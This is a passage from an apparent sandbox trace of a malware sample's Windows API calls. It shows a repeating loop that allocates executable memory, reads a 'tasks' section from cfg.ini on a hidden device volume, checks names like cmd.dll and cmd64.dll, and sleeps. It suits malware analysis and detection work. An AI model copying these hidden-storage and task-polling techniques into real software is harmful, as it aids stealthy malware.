FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.374] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.374] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.374] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.374] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0129.374] IdePortDispatch () returned 0x103 [0129.374] KeWaitForMutexObject () returned 0x0 [0129.375] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.375] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.375] KeLeaveCriticalRegion () [0129.375] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.375] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.375] KeEnterCriticalRegion () [0129.375] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.375] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000be0000 [0129.375] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.375] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.375] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.375] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0129.375] IdePortDispatch () returned 0x103 [0129.375] KeWaitForMutexObject () returned 0x0 [0129.375] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.375] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.375] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.375] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.375] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0129.375] IdePortDispatch () returned 0x103 [0129.375] KeWaitForMutexObject () returned 0x0 [0129.376] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.376] KeLeaveCriticalRegion () [0129.376] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.376] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.376] KeEnterCriticalRegion () [0129.376] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.376] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.376] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.376] KeLeaveCriticalRegion () [0129.376] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.376] KeEnterCriticalRegion () [0129.376] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.376] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0129.376] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c046b0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.376] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.376] KeLeaveCriticalRegion () [0129.376] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.376] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.376] KeEnterCriticalRegion () [0129.376] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.376] ExFreePoolWithTag (P=0xfffffa8003c045f0, Tag=0x0) [0129.376] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.376] KeLeaveCriticalRegion () [0129.376] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.377] ReleaseMutex (hMutex=0xf0) returned 1 [0129.377] Sleep (dwMilliseconds=0x927c0) [0129.393] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0129.393] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.393] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0129.393] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.393] KeEnterCriticalRegion () [0129.393] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.393] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.393] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.393] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.393] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0129.393] IdePortDispatch () returned 0x103 [0129.393] KeWaitForMutexObject () returned 0x0 [0129.393] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.393] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.393] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.393] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.393] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.393] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c03a60 [0129.393] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.393] KeLeaveCriticalRegion () [0129.393] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.394] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.394] KeEnterCriticalRegion () [0129.394] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.394] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.394] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.394] KeLeaveCriticalRegion () [0129.394] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.394] KeEnterCriticalRegion () [0129.394] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.394] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.394] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.394] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.394] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0129.394] IdePortDispatch () returned 0x103 [0129.394] KeWaitForMutexObject () returned 0x0 [0129.394] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.394] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.394] KeLeaveCriticalRegion () [0129.394] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.394] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.394] KeEnterCriticalRegion () [0129.394] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.394] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000be5000 [0129.394] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.394] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.394] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.394] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0129.394] IdePortDispatch () returned 0x103 [0129.395] KeWaitForMutexObject () returned 0x0 [0129.395] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.395] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.395] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.395] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.395] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0129.395] IdePortDispatch () returned 0x103 [0129.395] KeWaitForMutexObject () returned 0x0 [0129.395] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.395] KeLeaveCriticalRegion () [0129.395] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.396] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.396] KeEnterCriticalRegion () [0129.396] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.396] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.396] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.396] KeLeaveCriticalRegion () [0129.396] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.396] KeEnterCriticalRegion () [0129.396] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.396] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0129.396] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c04350, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.396] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.396] KeLeaveCriticalRegion () [0129.396] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.396] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.396] KeEnterCriticalRegion () [0129.396] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.396] ExFreePoolWithTag (P=0xfffffa8003c03a60, Tag=0x0) [0129.396] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.396] KeLeaveCriticalRegion () [0129.396] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.396] ReleaseMutex (hMutex=0xf0) returned 1 [0129.396] Sleep (dwMilliseconds=0x927c0) [0129.411] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0129.411] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.411] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0129.411] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.411] KeEnterCriticalRegion () [0129.411] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.411] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.411] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.411] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.411] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0129.411] IdePortDispatch () returned 0x103 [0129.412] KeWaitForMutexObject () returned 0x0 [0129.413] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.413] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.413] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.413] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.413] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.413] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c05010 [0129.413] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.413] KeLeaveCriticalRegion () [0129.413] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.413] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.413] KeEnterCriticalRegion () [0129.413] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.413] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.413] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.413] KeLeaveCriticalRegion () [0129.413] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.413] KeEnterCriticalRegion () [0129.413] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.413] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.413] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.413] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.413] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0129.413] IdePortDispatch () returned 0x103 [0129.413] KeWaitForMutexObject () returned 0x0 [0129.413] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.413] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.413] KeLeaveCriticalRegion () [0129.413] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.413] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.413] KeEnterCriticalRegion () [0129.414] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.414] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000bea000 [0129.414] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.414] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.414] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.414] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0129.414] IdePortDispatch () returned 0x103 [0129.414] KeWaitForMutexObject () returned 0x0 [0129.414] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.414] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.414] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.414] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.414] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0129.414] IdePortDispatch () returned 0x103 [0129.414] KeWaitForMutexObject () returned 0x0 [0129.414] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.414] KeLeaveCriticalRegion () [0129.414] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.415] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.415] KeEnterCriticalRegion () [0129.415] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.415] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.415] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.415] KeLeaveCriticalRegion () [0129.415] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.415] KeEnterCriticalRegion () [0129.415] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.415] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0129.415] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c04660, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.415] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.415] KeLeaveCriticalRegion () [0129.415] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.415] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.415] KeEnterCriticalRegion () [0129.415] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.415] ExFreePoolWithTag (P=0xfffffa8003c05010, Tag=0x0) [0129.415] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.415] KeLeaveCriticalRegion () [0129.415] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.415] ReleaseMutex (hMutex=0xf0) returned 1 [0129.415] Sleep (dwMilliseconds=0x927c0) [0129.430] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0129.430] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.431] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0129.431] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.431] KeEnterCriticalRegion () [0129.431] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.431] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.431] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.431] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.431] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0129.431] IdePortDispatch () returned 0x103 [0129.431] KeWaitForMutexObject () returned 0x0 [0129.431] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.431] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.431] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.431] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.431] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.431] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c04d60 [0129.431] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.431] KeLeaveCriticalRegion () [0129.431] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.431] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.431] KeEnterCriticalRegion () [0129.431] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.431] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.431] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.431] KeLeaveCriticalRegion () [0129.431] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.431] KeEnterCriticalRegion () [0129.431] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.431] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.431] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.431] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.431] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0129.431] IdePortDispatch () returned 0x103 [0129.432] KeWaitForMutexObject () returned 0x0 [0129.432] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.432] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.432] KeLeaveCriticalRegion () [0129.432] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.432] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.432] KeEnterCriticalRegion () [0129.432] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.432] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000bef000 [0129.432] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.432] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.432] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.432] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0129.432] IdePortDispatch () returned 0x103 [0129.432] KeWaitForMutexObject () returned 0x0 [0129.432] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.432] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 